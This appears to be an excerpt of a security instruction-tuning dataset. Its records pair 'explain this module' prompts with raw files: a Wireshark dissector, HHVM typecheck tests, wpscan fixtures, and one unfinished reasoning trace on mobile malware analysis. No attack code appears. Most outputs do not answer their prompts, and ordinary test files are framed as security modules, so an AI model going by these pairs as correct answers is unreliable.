\"MessageNo\", \"pingpongprotocol.pong_messageno\", FT_UINT64, BASE_DEC, NULL, 0x0, NULL, HFILL } },\n { &hf_pong_replyno, { \"ReplyNo\", \"pingpongprotocol.pong_replyno\", FT_UINT64, BASE_DEC, NULL, 0x0, NULL, HFILL } },\n { &hf_pong_data, { \"Pong_Data\", \"pingpongprotocol.pong_data\", FT_BYTES, BASE_NONE, NULL, 0x0, NULL, HFILL } },\n };\n\n /* Setup protocol subtree array */\n static gint *ett[] = {\n &ett_pingpongprotocol\n };\n\n static tap_param pingpongprotocol_stat_params[] = {\n { PARAM_FILTER, \"filter\", \"Filter\", NULL, TRUE }\n };\n\n static stat_tap_table_ui pingpongprotocol_stat_table = {\n REGISTER_STAT_GROUP_RSERPOOL,\n \"PingPongProtocol Statistics\",\n \"pingpongprotocol\",\n \"pingpongprotocol,stat\",\n pingpongprotocol_stat_init,\n pingpongprotocol_stat_packet,\n pingpongprotocol_stat_reset,\n NULL,\n NULL,\n sizeof(pingpongprotocol_stat_fields)/sizeof(stat_tap_table_item), pingpongprotocol_stat_fields,\n sizeof(pingpongprotocol_stat_params)/sizeof(tap_param), pingpongprotocol_stat_params,\n NULL,\n 0\n };\n\n /* Register the protocol name and description */\n proto_pingpongprotocol = proto_register_protocol(\"Ping Pong Protocol\", \"PingPongProtocol\", \"pingpongprotocol\");\n\n /* Required function calls to register the header fields and subtrees used */\n proto_register_field_array(proto_pingpongprotocol, hf, array_length(hf));\n proto_register_subtree_array(ett, array_length(ett));\n tap_pingpongprotocol = register_tap(\"pingpongprotocol\");\n\n register_stat_tap_table_ui(&pingpongprotocol_stat_table);\n}\n\nvoid\nproto_reg_handoff_pingpongprotocol(void)\n{\n dissector_handle_t pingpongprotocol_handle;\n\n pingpongprotocol_handle = create_dissector_handle(dissect_pingpongprotocol, proto_pingpongprotocol);\n dissector_add_uint(\"sctp.ppi\", PINGPONGPROTOCOL_PAYLOAD_PROTOCOL_ID_LEGACY, pingpongprotocol_handle);\n dissector_add_uint(\"sctp.ppi\", PPP_PAYLOAD_PROTOCOL_ID, pingpongprotocol_handle);\n}\n\n/*\n * Editor modelines - https://www.wireshark.org/tools/modelines.html\n *\n * Local Variables:\n * c-basic-offset: 2\n * tab-width: 8\n * indent-tabs-mode: nil\n * End:\n *\n * ex: set shiftwidth=2 tabstop=8 expandtab:\n * :indentSize=2:tabSize=8:noTabs=true:\n */", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:55339"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/hack/test/typecheck/expression_trees_not_virtualize_functions/pipe_lambda6.php' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": ">\n\nfunction foo(int $_): ExprTree {\n throw new Exception();\n}\n\nfunction bar(ExprTree $x): ExampleDsl {\n throw new Exception();\n}\n\nfunction helper_baz(ExampleContext $_):\n Awaitable>\n{\n throw new Exception();\n}\n\nfunction test(): ExprTree {\n // PHP lambda bodies should not be traversed to find $$\n // But PHP lambda call arguments should\n $et = 1 |> ExampleDsl`${ (function($arg) {\n $x = $arg |> foo($$);\n return $x;\n })($$) }`;\n\n return $et;\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:12537"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/hack/test/typecheck/lambda/async_lambda3.php' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": " $v;\n /* HH_IGNORE_ERROR[4273] */\n if ($x(true)) {}\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:12995"}} -{"instruction": "Explain the purpose and role of 'wpscan/spec/fixtures/dynamic_finders/plugin_version/edit-parent-comment-id/translation_file/edit-parent-comment-id-ru_RU.po' from the wpscan security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "# Translation of the WordPress plugin Edit Parent Comment ID 0.3-trunk by Sergey Biryukov.\n# Copyright (C) 2010 Sergey Biryukov\n# This file is distributed under the same license as the Edit Parent Comment ID package.\n# Sergey Biryukov , 2010.\n#\nmsgid \"\"\nmsgstr \"\"\n\"Project-Id-Version: Edit Parent Comment ID 0.3\\n\"\n\"Report-Msgid-Bugs-To: http://wordpress.org/tag/edit-parent-comment-id\\n\"\n\"POT-Creation-Date: 2012-02-04 22:26:58+00:00\\n\"\n\"PO-Revision-Date: 2012-02-05 02:41+0400\\n\"\n\"Last-Translator: Sergey Biryukov \\n\"\n\"Language-Team: Sergey Biryukov \\n\"\n\"MIME-Version: 1.0\\n\"\n\"Content-Type: text/plain; charset=UTF-8\\n\"\n\"Content-Transfer-Encoding: 8bit\\n\"\n\"X-Poedit-Language: Russian\\n\"\n\"X-Poedit-Country: RUSSIAN FEDERATION\\n\"\n\"X-Poedit-SourceCharset: utf-8\\n\"\n\"X-Poedit-KeywordsList: __;_e;__ngettext:1,2\\n\"\n\"X-Poedit-Basepath: .\\n\"\n\"X-Poedit-SearchPath-0: .\\n\"\n\n#: edit-parent-comment-id.php:13\nmsgid \"Parent Comment ID\"\nmsgstr \"ID родительского комментария\"\n\n#. Plugin Name of the plugin/theme\nmsgid \"Edit Parent Comment ID\"\nmsgstr \"Edit Parent Comment ID\"\n\n#. Plugin URI of the plugin/theme\nmsgid \"http://uplift.ru/projects/\"\nmsgstr \"http://uplift.ru/projects/\"\n\n#. Description of the plugin/theme\nmsgid \"Adds parent comment ID meta box to a comment editing page. Use to make existing comments threaded.\"\nmsgstr \"Позволяет изменить ID родительского комментария на странице редактирования.\"\n\n#. Author of the plugin/theme\nmsgid \"Sergey Biryukov\"\nmsgstr \"Сергей Бирюков\"\n\n#. Author URI of the plugin/theme\nmsgid \"http://sergeybiryukov.ru/\"\nmsgstr \"http://sergeybiryukov.ru/\"", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:60009"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/test/zend/good/ext/standard/tests/array/array_chunk_error.php' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "> function main(): void {\necho \"*** Testing array_chunk() : error conditions ***\\n\";\n\n// Zero arguments\necho \"\\n-- Testing array_chunk() function with zero arguments --\\n\";\ntry { var_dump( array_chunk() ); } catch (Exception $e) { echo \"\\n\".'Warning: '.$e->getMessage().' in '.__FILE__.' on line '.__LINE__.\"\\n\"; }\n\necho \"\\n-- Testing array_chunk() function with more than expected no. of arguments --\\n\";\n$input = varray[1, 2];\n$size = 10;\n$preserve_keys = true;\n$extra_arg = 10;\ntry { var_dump( array_chunk($input,$size,$preserve_keys, $extra_arg) ); } catch (Exception $e) { echo \"\\n\".'Warning: '.$e->getMessage().' in '.__FILE__.' on line '.__LINE__.\"\\n\"; }\n\necho \"\\n-- Testing array_chunk() function with less than expected no. of arguments --\\n\";\n$input = varray[1, 2];\ntry { var_dump( array_chunk($input) ); } catch (Exception $e) { echo \"\\n\".'Warning: '.$e->getMessage().' in '.__FILE__.' on line '.__LINE__.\"\\n\"; }\n\necho \"Done\";\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:28324"}} -{"instruction": "{\"system\": \"You are a highly specialized AI assistant for advanced cyber-defense whose mission is to deliver accurate, in-depth, actionable guidance on information-security principles—confidentiality, integrity, availability, authenticity, non-repudiation, and privacy—by offering concise executive summaries that drill down into technical detail, industry standards, and threat models while referencing frameworks such as NIST CSF and MITRE ATT&CK; you may share defensive scripts, detection rules, lab-safe PoC payloads, exploit snippets, and hardening checklists clearly marked for educational/testing use only, redacting or stubbing any data that could cause real harm in production. You must never generate or improve ransomware, wipers, botnets, RATs, phishing kits, social-engineering lures, or any instructions that facilitate fraud, data theft, unauthorized intrusion, or the defeat of security controls—in such cases you must briefly refuse with an apology and a one-sentence explanation; at all times adhere to applicable laws, the ISC Code of Ethics, and the principle of defense only.\", \"user\": \"How is behavioral analysis implemented for mobile malware using system call tracing and resource usage monitoring?\", \"assistant\": \"\\\\nOkay, the user wants to know how behavioral analysis works for mobile malware detection, specifically mentioning system call tracing and resource usage monitoring. I need to break this down step by step.\\\\n\\\\nFirst, I should explain what system calls are—how they’re the interface between apps and the OS kernel. On Android or iOS, each call can give clues about malicious behavior. For example, if an app suddenly starts making network calls at odd times, that’s suspicious. But how do we track these? Maybe mention tools like ptrace on Linux-based systems (Android), which allows tracing of processes. Also, on iOS, there might be other mechanisms or public frameworks for monitoring system events.\\\\n\\\\nNext is resource usage: memory, CPU, storage, and battery consumption. A legitimate app’s usage should be stable, while malware might cause sudden spikes in CPU or memory. Explain how each metric can be analyzed—perhaps using built-in mobile security tools or third-party apps that gather this data over time. Also touch on network traffic monitoring to catch unusual connections.\\\\n\\\\nThen I need to discuss the broader context of behavioral analysis. It’s about looking for anomalies, not just known signatures. Mention techniques like machine learning models trained on normal behavior patterns versus malicious ones. Maybe reference frameworks like MITRE ATT&CK Mobile which define various adversary tactics and how they manifest in system calls or resource usage.\\\\n\\\\nAlso important is the implementation: how do these monitoring solutions work? Are they part of a mobile OS (like Android’s app sandboxing)? Or do enterprises deploy additional EDR tools that collect and analyze data from endpoints? It might help to mention specific examples, such as Apple’s Xcode compiler checks or Google Play Protect on Android.\\\\n\\\\nI should also address challenges: how to balance performance overhead with thorough monitoring. Some system call tracing can be resource-intensive, so efficient algorithms are key. Privacy concerns come up too—collecting detailed logs may raise user trust issues if not handled properly.\\\\n\\\\nFinally, tie it all together with a summary of the benefits and limitations of behavioral analysis for mobile malware detection. Highlight that combining this approach with traditional signature-based methods yields better results in detecting new or evolving threats. Maybe conclude by mentioning ongoing research trends, such as AI-driven anomaly detection or zero-trust models for mobile environments.\\\\n\\\\nWait, I need to ensure accuracy on specific APIs or tools used on each OS.\"}", "input": "", "output": "", "meta": {"source_dataset": "Trendyol/Trendyol-Cybersecurity-Instruction-Tuning-Dataset", "kind": "original", "source_id": "Trendyol/Trendyol-Cybersecurity-Instruction-Tuning-Dataset:19539"}} -{"instruction": "Explain the purpose and role of 'wpscan/spec/fixtures/dynamic_finders/plugin_version/breadcrumb-trail/change_log/changelog.md' from the wpscan security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "# Change Log\n\n## [1.1.0] - 2017-09-24\n\n### Added\n\n* Handles mapping rewrite tags for any post type now. Any of the standard rewrite tags are mapped. It also handles any custom taxonomy when used as part of the post type rewrite slug (e.g., `%genre%`, `%portfolio_tag%`, etc.).\n* Adds proper breadcrumbs when viewing post type archives by author.\n* Support for paged comments. When viewing paged comments, the post title gets linked and `Comment Page %s` becomes the final item.\n* New `paged_comments` label available.\n* `browse_tag` argument for controlling the header/browse tag. Defaults to `h2`.\n* `list_tag` argument for controlling the list tag. Defaults to `ul`.\n* `item_tag` argument for controlling the item tag. Defaults to `li`.\n* The `itemprop=\"item\"` microdata for the list item inner element.\n* The `breadcrumb_trail_inline_style` filter hook for changing or disabling the inline style.\n\n### Changed\n\n* Changes default search label to `Search results for: %s` to avoid double quotes (search queries sometimes have quotes in them).\n\n### Fixed\n\n* Properly reverse term parents array (in wrong order before).\n* Uses `wp_list_sort()` for sorting terms, available since WP 4.7.\n* Wraps `home_url()` in `user_trailingslashit()` to make sure it has a trailing slash when it should.\n\n## [1.0.0] - 2015-07-07\n\n### Added\n\n* Plugins and themes can now filter the `breadcrumb_trail_object` to use their own sub-classes of `Breadcrumb_Trail`.\n* Adds the `role` and `aria-label` attributes to improve accessibility.\n* Changed from a flat HTML structure to a proper HTML5 `